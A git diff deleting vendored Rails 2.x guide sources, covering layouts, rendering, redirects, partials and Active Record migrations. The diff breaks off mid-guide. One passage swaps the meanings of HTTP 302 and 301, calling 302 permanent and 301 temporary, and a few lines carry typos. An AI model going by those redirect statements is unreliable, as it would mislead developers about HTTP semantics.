-class ApplicationController < ActionController::Base
-  layout "main"
-  #...
-end
-</ruby>
-
-* +posts_controller.rb+
-
-<ruby>
-class PostsController < ApplicationController
-  # ...
-end
-</ruby>
-
-* +special_posts_controller.rb+
-
-<ruby>
-class SpecialPostsController < PostsController
-  layout "special"
-  # ...
-end
-</ruby>
-
-* +old_posts_controller.rb+
-
-<ruby>
-class OldPostsController < SpecialPostsController
-  layout nil
-
-  def show
-    @post = Post.find(params[:id])
-  end
-
-  def index
-    @old_posts = Post.older
-    render :layout => "old"
-  end
-  # ...
-end
-</ruby>
-
-In this application:
-
-* In general, views will be rendered in the +main+ layout
-* +PostsController#index+ will use the +main+ layout
-* +SpecialPostsController#index+ will use the +special+ layout
-* +OldPostsController#show+ will use no layout at all
-* +OldPostsController#index+ will use the +old+ layout
-
-h5. Avoiding Double Render Errors
-
-Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it's relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that +render+ works.
-
-For example, here's some code that will trigger this error:
-
-<ruby>
-def show
-  @book = Book.find(params[:id])
-  if @book.special?
-    render :action => "special_show"
-  end
-  render :action => "regular_show"
-end
-</ruby>
-
-If +@book.special?+ evaluates to +true+, Rails will start the rendering process to dump the +@book+ variable into the +special_show+ view. But this will _not_ stop the rest of the code in the +show+ action from running, and when Rails hits the end of the action, it will start to render the +show+ view - and throw an error. The solution is simple: make sure that you only have one call to +render+ or +redirect+ in a single code path. One thing that can help is +and return+. Here's a patched version of the method:
-
-<ruby>
-def show
-  @book = Book.find(params[:id])
-  if @book.special?
-    render :action => "special_show" and return
-  end
-  render :action => "regular_show"
-end
-</ruby>
-
-Note that the implicit render done by ActionController detects if +render+ has been called, and thus avoids this error. So this code will work with problems:
-
-<ruby>
-  def show
-    @book = Book.find(params[:id])
-    if @book.special?
-      render :action => "special_show"
-    end
-  end
-</ruby>
-
-This will render a book with +special?+ set with the +special_show+ template, while other books will render with the default +show+ template.
-
-h4. Using +redirect_to+
-
-Another way to handle returning responses to an HTTP request is with +redirect_to+. As you've seen, +render+ tells Rails which view (or other asset) to use in constructing a response. The +redirect_to+ method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:
-
-<ruby>
-redirect_to photos_path
-</ruby>
-
-You can use +redirect_to+ with any arguments that you could use with +link_to+ or +url_for+. In addition, there's a special redirect that sends the user back to the page they just came from:
-
-<ruby>
-redirect_to :back
-</ruby>
-
-h5. Getting a Different Redirect Status Code
-
-Rails uses HTTP status code 302 (permanent redirect) when you call +redirect_to+. If you'd like to use a different status code (perhaps 301, temporary redirect), you can do so by using the +:status+ option:
-
-<ruby>
-redirect_to photos_path, :status => 301
-</ruby>
-
-Just like the +:status+ option for +render+, +:status+ for +redirect_to+ accepts both numeric and symbolic header designations.
-
-h5. The Difference Between +render+ and +redirect_to+
-
-Sometimes inexperienced developers conceive of +redirect_to+ as a sort of +goto+ command, moving execution from one place to another in your Rails code. This is _not_ correct. Your code stops running and waits for a new request for the browser. It just happens that you've told the browser what request it should make next, by sending back an HTTP 302 status code.
-
-Consider these actions to see the difference:
-
-<ruby>
-def index
-  @books = Book.find(:all)
-end
-
-def show
-  @book = Book.find(params[:id])
-  if @book.nil?
-    render :action => "index"
-  end
-end
-</ruby>
-
-With the code in this form, there will be likely be a problem if the +@book+ variable is +nil+. Remember, a +render :action+ doesn't run any code in the target action, so nothing will set up the +@books+ variable that the +index+ view is presumably depending on. One way to fix this is to redirect instead of rendering:
-
-<ruby>
-def index
-  @books = Book.find(:all)
-end
-
-def show
-  @book = Book.find(params[:id])
-  if @book.nil?
-    redirect_to :action => "index"
-  end
-end
-</ruby>
-
-With this code, the browser will make a fresh request for the index page, the code in the +index+ method will run, and all will be well.
-
-h4. Using +head+ To Build Header-Only Responses
-
-The +head+ method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling +render :nothing+. The +head+ method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:
-
-<ruby>
-head :bad_request
-</ruby>
-
-Or you can use other HTTP headers to convey additional information:
-
-<ruby>
-head :created, :location => photo_path(@photo)
-</ruby>
-
-h3. Structuring Layouts
-
-When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:
-
-* Asset tags
-* +yield+ and +content_for+
-* Partials
-
-I'll discuss each of these in turn.
-
-h4. Asset Tags
-
-Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:
-
-* auto_discovery_link_tag
-* javascript_include_tag
-* stylesheet_link_tag
-* image_tag
-
-You can use these tags in layouts or other views, although the tags other than +image_tag+ are most commonly used in the +&lt;head&gt;+ section of a layout.
-
-WARNING: The asset tags do _not_ verify the existence of the assets at the specified locations; they simply assume that you know what you're doing and generate the link.
-
-h5. Linking to Feeds with +auto_discovery_link_tag+
-
-The +auto_discovery_link_tag+ helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (+:rss+ or +:atom+), a hash of options that are passed through to url_for, and a hash of options for the tag:
-
-<erb>
-<%= auto_discovery_link_tag(:rss, {:action => "feed"}, 
-  {:title => "RSS Feed"}) %>
-</erb>
-
-There are three tag options available for +auto_discovery_link_tag+:
-
-* +:rel+ specifies the +rel+ value in the link (defaults to "alternate")
-* +:type+ specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically
-* +:title+ specifies the title of the link
-
-h5. Linking to Javascript Files with +javascript_include_tag+
-
-The +javascript_include_tag+ helper returns an HTML +script+ tag for each source provided. Rails looks in +public/javascripts+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/javascripts/main.js+:
-
-<erb>
-<%= javascript_include_tag "main" %>
-</erb>
-
-To include +public/javascripts/main.js+ and +public/javascripts/columns.js+:
-
-<erb>
-<%= javascript_include_tag "main", "columns" %>
-</erb>
-
-To include +public/javascripts/main.js+ and +public/photos/columns.js+:
-
-<erb>
-<%= javascript_include_tag "main", "/photos/columns" %>
-</erb>
-
-To include +http://example.com/main.js+:
-
-<erb>
-<%= javascript_include_tag "http://example.com/main.js" %>
-</erb>
-
-The +defaults+ option loads the Prototype and Scriptaculous libraries:
-
-<erb>
-<%= javascript_include_tag :defaults %>
-</erb>
-
-The +all+ option loads every javascript file in +public/javascripts+, starting with the Prototype and Scriptaculous libraries:
-
-<erb>
-<%= javascript_include_tag :all %>
-</erb>
-
-You can supply the +:recursive+ option to load files in subfolders of +public/javascripts+ as well:
-
-<erb>
-<%= javascript_include_tag :all, :recursive => true %>
-</erb>
-
-If you're loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +javascript_include_tag+:
-
-<erb>
-<%= javascript_include_tag "main", "columns", :cache => true %>
-</erb>
-
-By default, the combined file will be delivered as +javascripts/all.js+. You can specify a location for the cached asset file instead:
-
-<erb>
-<%= javascript_include_tag "main", "columns", 
-  :cache => 'cache/main/display' %>
-</erb>
-
-You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-
-h5. Linking to CSS Files with +stylesheet_link_tag+
-
-The +stylesheet_link_tag+ helper returns an HTML +<link>+ tag for each source provided. Rails looks in +public/stylesheets+ for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include +public/stylesheets/main.cs+:
-
-<erb>
-<%= stylesheet_link_tag "main" %>
-</erb>
-
-To include +public/stylesheets/main.css+ and +public/stylesheets/columns.css+:
-
-<erb>
-<%= stylesheet_link_tag "main", "columns" %>
-</erb>
-
-To include +public/stylesheets/main.css+ and +public/photos/columns.css+:
-
-<erb>
-<%= stylesheet_link_tag "main", "/photos/columns" %>
-</erb>
-
-To include +http://example.com/main.cs+:
-
-<erb>
-<%= stylesheet_link_tag "http://example.com/main.cs" %>
-</erb>
-
-By default, +stylesheet_link_tag+ creates links with +media="screen" rel="stylesheet" type="text/css"+. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):
-
-<erb>
-<%= stylesheet_link_tag "main_print", media => "print" %>
-</erb>
-
-The +all+ option links every CSS file in +public/stylesheets+:
-
-<erb>
-<%= stylesheet_link_tag :all %>
-</erb>
-
-You can supply the +:recursive+ option to link files in subfolders of +public/stylesheets+ as well:
-
-<erb>
-<%= stylesheet_link_tag :all, :recursive => true %>
-</erb>
-
-If you're loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify +:cache => true+ in your +stylesheet_link_tag+:
-
-<erb>
-<%= stylesheet_link_tag "main", "columns", :cache => true %>
-</erb>
-
-By default, the combined file will be delivered as +stylesheets/all.css+. You can specify a location for the cached asset file instead:
-
-<erb>
-<%= stylesheet_link_tag "main", "columns", 
-  :cache => 'cache/main/display' %>
-</erb>
-
-You can even use dynamic paths such as +cache/#{current_site}/main/display+.
-
-h5. Linking to Images with +image_tag+
-
-The +image_tag+ helper builds an HTML +&lt;image&gt;+ tag to the specified file. By default, files are loaded from +public/images+. If you don't specify an extension, +.png+ is assumed by default:
-
-<erb>
-<%= image_tag "header" %>
-</erb>
-
-You can supply a path to the image if you like:
-
-<erb>
-<%= image_tag "icons/delete.gif" %>
-</erb>
-
-You can supply a hash of additional HTML options:
-
-<erb>
-<%= image_tag "icons/delete.gif", :height => 45 %>
-</erb>
-
-There are also three special options you can use with +image_tag+:
-
-* +:alt+ specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension)
-* +:size+ specifies both width and height, in the format "{width}x{height}" (for example, "150x125")
-* +:mouseover+ sets an alternate image to be used when the onmouseover event is fired.
-
-h4. Understanding +yield+
-
-Within the context of a layout, +yield+ identifies a section where content from the view should be inserted. The simplest way to use this is to have a single +yield+, into which the entire contents of the view currently being rendered is inserted:
-
-<erb>
-<html>
-  <head>
-  </head>
-  <body>
-  <%= yield %>
-  </body>
-</html>
-</erb>
-
-You can also create a layout with multiple yielding regions:
-
-<erb>
-<html>
-  <head>
-  <%= yield :head %>
-  </head>
-  <body>
-  <%= yield %>
-  </body>
-</html>
-</erb>
-
-The main body of the view will always render into the unnamed +yield+. To render content into a named +yield+, you use the +content_for+ method.
-
-h4. Using +content_for+
-
-The +content_for+ method allows you to insert content into a +yield+ block in your layout. You only use +content_for+ to insert content in named yields. For example, this view would work with the layout that you just saw:
-
-<erb>
-<% content_for :head do %>
-  <title>A simple page</title>
-<% end %>
-
-<p>Hello, Rails!</p>
-</erb>
-
-The result of rendering this page into the supplied layout would be this HTML:
-
-<erb>
-<html>
-  <head>
-  <title>A simple page</title>
-  </head>
-  <body>
-  <p>Hello, Rails!</p>
-  </body>
-</html>
-</erb>
-
-The +content_for+ method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise generic layout.
-
-h4. Using Partials
-
-Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.
-
-h5. Naming Partials
-
-To render a partial as part of a view, you use the +render+ method within the view, and include the +:partial+ option:
-
-<ruby>
-<%= render :partial => "menu" %>
-</ruby>
-
-This will render a file named +_menu.html.erb+ at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:
-
-<ruby>
-<%= render :partial => "shared/menu" %>
-</ruby>
-
-That code will pull in the partial from +app/views/shared/_menu.html.erb+.
-
-h5. Using Partials to Simplify Views
-
-One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:
-
-<erb>
-<%= render :partial => "shared/ad_banner" %>
-
-<h1>Products</h1>
-
-<p>Here are a few of our fine products:</p>
-...
-
-<%= render :partial => "shared/footer" %>
-</erb>
-
-Here, the +_ad_banner.html.erb+ and +_footer.html.erb+ partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.
-
-TIP: For content that is shared among all pages in your application, you can use partials directly from layouts.
-
-h5. Partial Layouts
-
-A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:
-
-<erb>
-<%= render :partial => "link_area", :layout => "graybar" %>
-</erb>
-
-This would look for a partial named +_link_area.html.erb+ and render it using the layout +_graybar.html.erb+. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master +layouts+ folder).
-
-h5. Passing Local Variables
-
-You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:
-
-* +new.html.erb+
-
-<erb>
-<h1>New zone</h1>
-<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => 
-  { :button_label => "Create zone", :zone => @zone } %>
-</erb>
-
-* +edit.html.erb+
-
-<erb>
-<h1>Editing zone</h1>
-<%= error_messages_for :zone %>
-<%= render :partial => "form", :locals => 
-  { :button_label => "Update zone", :zone => @zone } %>
-</erb>
-
-* +_form.html.erb+
-
-<erb>
-<% form_for(zone) do |f| %>
-  <p>
-    <b>Zone name</b><br />
-    <%= f.text_field :name %>
-  </p>
-  <p>
-    <%= f.submit button_label %>
-  </p>
-<% end %>
-</erb>
-
-Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.
-
-Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the +:object+ option:
-
-<erb>
-<%= render :partial => "customer", :object => @new_customer %>
-</erb>
-
-Within the +customer+ partial, the +customer+ variable will refer to +@new_customer+ from the parent view.
-
-WARNING: In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.
-
-If you have an instance of a model to render into a partial, you can use a shorthand syntax:
-
-<erb>
-<%= render :partial => @customer %>
-</erb>
-
-Assuming that the +@customer+ instance variable contains an instance of the +Customer+ model, this will use +_customer.html.erb+ to render it.
-
-h5. Rendering Collections
-
-Partials are very useful in rendering collections. When you pass a collection to a partial via the +:collection+ option, the partial will be inserted once for each member in the collection:
-
-* +index.html.erb+
-
-<erb>
-<h1>Products</h1>
-<%= render :partial => "product", :collection => @products %>
-</erb>
-
-* +_product.html.erb+
-
-<erb>
-<p>Product Name: <%= product.name %></p>
-</erb>
-
-When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is +_product+, and within the +_product+ partial, you can refer to +product+ to get the instance that is being rendered. To use a custom local variable name within the partial, specify the +:as+ option in the call to the partial:
-
-<erb>
-<%= render :partial => "product", :collection => @products, :as => :item %>
-</erb>
-
-With this change, you can access an instance of the +@products+ collection as the +item+ local variable within the partial.
-
-TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by +_counter+. For example, if you're rendering +@products+, within the partial you can refer to +product_counter+ to tell you how many times the partial has been rendered.
-
-You can also specify a second partial to be rendered between instances of the main partial by using the +:spacer_template+ option:
-
-<erb>
-<%= render :partial => "product", :collection => @products, 
-  :spacer_template => "product_ruler" %>
-</erb>
-
-Rails will render the +_product_ruler+ partial (with no data passed in to it) between each pair of +_product+ partials.
-
-There's also a shorthand syntax available for rendering collections. For example, if +@products+ is a collection of products, you can render the collection this way:
-
-* +index.html.erb+
-
-<erb>
-<h1>Products</h1>
-<%= render :partial => @products %>
-</erb>
-
-* +_product.html.erb+
-
-<erb>
-<p>Product Name: <%= product.name %></p>
-</erb>
-
-Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:
-
-* +index.html.erb+
-
-<erb>
-<h1>Contacts</h1>
-<%= render :partial => 
-  [customer1, employee1, customer2, employee2] %>
-</erb>
-
-* +_customer.html.erb+
-
-<erb>
-<p>Name: <%= customer.name %></p>
-</erb>
-
-* +_employee.html.erb+
-
-<erb>
-<p>Name: <%= employee.name %></p>
-</erb>
-
-In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.
-
-h4. Using Nested Layouts
-
-You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here's an example:
-
-Suppose you have the follow +ApplicationController+ layout:
-
-* +app/views/layouts/application.html.erb+
-
-<erb>
-<html>
-<head>
-  <title><%= @page_title or 'Page Title' %></title>
-  <%= stylesheet_link_tag 'layout' %>
-  <style type="text/css"><%= yield :stylesheets %></style>
-</head>
-<body>
-  <div id="top_menu">Top menu items here</div>
-  <div id="menu">Menu items here</div>
-  <div id="content"><%= yield(:content) or yield %></div>
-</body>
-</html>
-</erb>
-
-On pages generated by +NewsController+, you want to hide the top menu and add a right menu:
-
-* +app/views/layouts/news.html.erb+
-
-<erb>
-<% content_for :stylesheets do %>
-  #top_menu {display: none}
-  #right_menu {float: right; background-color: yellow; color: black}
-<% end -%>
-<% content_for :content do %>
-  <div id="right_menu">Right menu items here</div>
-  <%= yield(:news_content) or yield %>
-  <% end -%>
-<% render :file => 'layouts/application' %>
-</erb>
-
-That's it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.
-
-There are several ways of getting similar results with different sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the +ActionView::render+ method via +render :file => 'layouts/news'+ to base a new layout on the News layout. If one is sure she will not subtemplate the +News+ layout, she can ommit the +yield(:news_content) or + part.
-
-h3. Changelog
-
-"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15
-
-* December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates
-* December 27, 2008: Information on new rendering defaults by "Mike Gunderloy":credits.html#mgunderloy
-* November 9, 2008: Added partial collection counter by "Mike Gunderloy":credits.html#mgunderloy
-* November 1, 2008: Added +:js+ option for +render+ by "Mike Gunderloy":credits.html#mgunderloy
-* October 16, 2008: Ready for publication by "Mike Gunderloy":credits.html#mgunderloy
-* October 4, 2008: Additional info on partials (+:object+, +:as+, and +:spacer_template+) by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
-* September 28, 2008: First draft by "Mike Gunderloy":credits.html#mgunderloy (not yet approved for publication)
diff --git a/vendor/rails/railties/guides/source/migrations.textile b/vendor/rails/railties/guides/source/migrations.textile
deleted file mode 100644
index 5ed94c30..00000000
--- a/vendor/rails/railties/guides/source/migrations.textile
+++ /dev/null
@@ -1,591 +0,0 @@
-h2. Migrations
-
-Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy.
-
-Active Record tracks which migrations have already been run so all you have to do is update your source and run +rake db:migrate+. Active Record will work out which migrations should be run. It will also update your +db/schema.rb+ file to match the structure of your database.
-
-Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of +CREATE TABLE+ any more that you worry about variations on +SELECT *+ (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.
-
-You'll learn all about migrations including:
-
-* The generators you can use to create them
-* The methods Active Record provides to manipulate your database
-* The Rake tasks that manipulate them
-* How they relate to +schema.rb+
-
-endprologue.
-
-h3. Anatomy of a Migration
-
-Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
-  def self.up
-    create_table :products do |t|
-      t.string :name
-      t.text :description
-
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :products
-  end
-end
-</ruby>
-
-This migration adds a table called +products+ with a string column called +name+ and a text column called +description+. A primary key column called +id+ will also be added, however since this is the default we do not need to ask for this. The timestamp columns +created_at+ and +updated_at+ which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.
-
-Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:
-
-<ruby>
-class AddReceiveNewsletterToUsers < ActiveRecord::Migration
-  def self.up
-    change_table :users do |t|
-      t.boolean :receive_newsletter, :default => false
-    end
-    User.update_all ["receive_newsletter = ?", true]
-  end
-
-  def self.down
-    remove_column :users, :receive_newsletter
-  end
-end
-</ruby>
-
-This migration adds a +receive_newsletter+ column to the +users+ table. We want it to default to +false+ for new users, but existing users are considered
-to have already opted in, so we use the User model to set the flag to +true+ for existing users.
-
-NOTE: Some "caveats":#using-models-in-your-migrations apply to using models in your migrations.
-
-h4. Migrations are Classes
-
-A migration is a subclass of <tt>ActiveRecord::Migration</tt> that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them).
-
-Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):
-
-* +create_table+
-* +change_table+
-* +drop_table+
-* +add_column+
-* +change_column+
-* +rename_column+
-* +remove_column+
-* +add_index+
-* +remove_index+
-
-If you need to perform tasks specific to your database (for example create a "foreign key":#active-record-and-referential-integrity constraint) then the +execute+ function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could write code to set the value of that column for existing records (if necessary using your models).
-
-On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.
-
-h4. What's in a Name
-
-Migrations are stored in files in +db/migrate+, one for each migration class. The name of the file is of the form +YYYYMMDDHHMMSS_create_products.rb+, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example +20080906120000_create_products.rb+ should define +CreateProducts+ and +20080906120001_add_details_to_products.rb+ should define +AddDetailsToProducts+. If you do feel the need to change the file name then you <em>have to</em> update the name of the class inside or Rails will complain about a missing class.
-
-Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting +config.active_record.timestamped_migrations+ to +false+ in +config/environment.rb+.
-
-The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.
-
-For example Alice adds migrations +20080906120000+ and +20080906123000+ and Bob adds +20080906124500+ and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so +rake db:migrate+ would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their +down+ methods.
-
-Of course this is no substitution for communication within the team. For example, if Alice's migration removed a table that Bob's migration assumed to exist, then trouble would certainly strike.
-
-h4. Changing Migrations
-
-Occasionally you will make a mistake when writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run +rake db:migrate+. You must rollback the migration (for example with +rake db:rollback+), edit your migration and then run +rake db:migrate+ to run the corrected version.
-
-In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.
-
-h3. Creating a Migration
-
-h4. Creating a Model
-
-The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running
-
-<shell>
-ruby script/generate model Product name:string description:text
-</shell>
-
-will create a migration that looks like this
-
-<ruby>
-class CreateProducts < ActiveRecord::Migration
-  def self.up
-    create_table :products do |t|
-      t.string :name
-      t.text :description
-
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :products
-  end
-end
-</ruby>
-
-You can append as many column name/type pairs as you want. By default +t.timestamps+ (which creates the +updated_at+ and +created_at+ columns that
-are automatically populated by Active Record) will be added for you.
-
-h4. Creating a Standalone Migration
-
-If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:
-
-<shell>
-ruby script/generate migration AddPartNumberToProducts
-</shell>
-
-This will create an empty but appropriately named migration:
-
-<ruby>
-class AddPartNumberToProducts < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-  end
-end
-</ruby>
-
-If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is followed by a list of column names and types then a migration containing the appropriate +add_column+ and +remove_column+ statements will be created.
-
-<shell>
-ruby script/generate migration AddPartNumberToProducts part_number:string
-</shell>
-
-will generate
-
-<ruby>
-class AddPartNumberToProducts < ActiveRecord::Migration
-  def self.up
-    add_column :products, :part_number, :string
-  end
-
-  def self.down
-    remove_column :products, :part_number
-  end
-end
-</ruby>
-
-Similarly,
-
-<shell>
-ruby script/generate migration RemovePartNumberFromProducts part_number:string
-</shell>
-
-generates
-
-<ruby>
-class RemovePartNumberFromProducts < ActiveRecord::Migration
-  def self.up
-    remove_column :products, :part_number
-  end
-
-  def self.down
-    add_column :products, :part_number, :string
-  end
-end
-</ruby>
-
-You are not limited to one magically generated column, for example
-
-<shell>
-ruby script/generate migration AddDetailsToProducts part_number:string price:decimal
-</shell>
-
-generates
-
-<ruby>
-class AddDetailsToProducts < ActiveRecord::Migration
-  def self.up
-    add_column :products, :part_number, :string
-    add_column :products, :price, :decimal
-  end
-
-  def self.down
-    remove_column :products, :price
-    remove_column :products, :part_number
-  end
-end
-</ruby>
-
-As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.
-
-h3. Writing a Migration
-
-Once you have created your migration using one of the generators it's time to get to work!
-
-h4. Creating a Table
-
-Migration method +create_table+ will be one of your workhorses. A typical use would be
-
-<ruby>
-create_table :products do |t|
-  t.string :name
-end
-</ruby>
-
-which creates a +products+ table with a column called +name+ (and as discussed below, an implicit +id+ column).
-
-The object yielded to the block allows you create columns on the table. There are two ways of doing this: The first (traditional) form looks like
-
-<ruby>
-create_table :products do |t|
-  t.column :name, :string, :null => false
-end
-</ruby>
-
-the second form, the so called "sexy" migration, drops the somewhat redundant +column+ method. Instead, the +string+, +integer+, etc. methods create a column of that type. Subsequent parameters are the same.
-
-<ruby>
-create_table :products do |t|
-  t.string :name, :null => false
-end
-</ruby>
-
-By default +create_table+ will create a primary key called +id+. You can change the name of the primary key with the +:primary_key+ option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass +:id => false+. If you need to pass database specific options you can place an SQL fragment in the +:options+ option. For example
-
-<ruby>
-create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
-  t.string :name, :null => false
-end
-</ruby>
-
-will append +ENGINE=BLACKHOLE+ to the SQL statement used to create the table (when using MySQL the default is +ENGINE=InnoDB+).
-
-The types supported by Active Record are +:primary_key+, +:string+, +:text+, +:integer+, +:float+, +:decimal+, +:datetime+, +:timestamp+, +:time+, +:date+, +:binary+, +:boolean+.
-
-These will be mapped onto an appropriate underlying database type, for example with MySQL +:string+ is mapped to +VARCHAR(255)+. You can create columns of types not supported by Active Record when using the non-sexy syntax, for example
-
-<ruby>
-create_table :products do |t|
-  t.column :name, 'polygon', :null => false
-end
-</ruby>
-
-This may however hinder portability to other databases.
-
-h4. Changing Tables
-
-A close cousin of +create_table+ is +change_table+, used for changing existing tables. It is used in a similar fashion to +create_table+ but the object yielded to the block knows more tricks. For example
-
-<ruby>
-change_table :products do |t|
-  t.remove :description, :name
-  t.string :part_number
-  t.index :part_number
-  t.rename :upccode, :upc_code
-end
-</ruby>
-removes the +description+ and +name+ columns, creates a +part_number+ column and adds an index on it. Finally it renames the +upccode+ column.   This is the same as doing
-
-<ruby>
-remove_column :products, :description
-remove_column :products, :name
-add_column :products, :part_number, :string
-add_index :products, :part_number
-rename_column :products, :upccode, :upc_code
-</ruby>
-
-You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example +remove_column+ becomes just +remove+ and +add_index+ becomes just +index+.
-
-h4. Special Helpers
-
-Active Record provides some shortcuts for common functionality. It is for example very common to add both the +created_at+ and +updated_at+ columns and so there is a method that does exactly that:
-
-<ruby>
-create_table :products do |t|
-  t.timestamps
-end
-</ruby>
-will create a new products table with those two columns (plus the +id+ column) whereas
-
-<ruby>
-change_table :products do |t|
-  t.timestamps
-end
-</ruby>
-adds those columns to an existing table.
-
-The other helper is called +references+ (also available as +belongs_to+). In its simplest form it just adds some readability
-
-<ruby>
-create_table :products do |t|
-  t.references :category
-end
-</ruby>
-
-will create a +category_id+ column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the +_id+ for you. If you have polymorphic +belongs_to+ associations then +references+ will add both of the columns required:
-
-<ruby>
-create_table :products do |t|
-  t.references :attachment, :polymorphic => {:default => 'Photo'}
-end
-</ruby>
-will add an +attachment_id+ column and a string +attachment_type+ column with a default value of 'Photo'.
-
-NOTE: The +references+ helper does not actually create foreign key constraints for you. You will need to use +execute+ for that or a plugin that adds "foreign key support":#active-record-and-referential-integrity.
-
-If the helpers provided by Active Record aren't enough you can use the +execute+ function to execute arbitrary SQL.
-
-For more details and examples of individual methods check the API documentation, in particular the documentation for "<tt>ActiveRecord::ConnectionAdapters::SchemaStatements</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html (which provides the methods available in the +up+ and +down+ methods),  "<tt>ActiveRecord::ConnectionAdapters::TableDefinition</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html (which provides the methods available on the object yielded by +create_table+) and "<tt>ActiveRecord::ConnectionAdapters::Table</tt>":http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html (which provides the methods available on the object yielded by +change_table+).
-
-h4. Writing Your +down+ Method
-
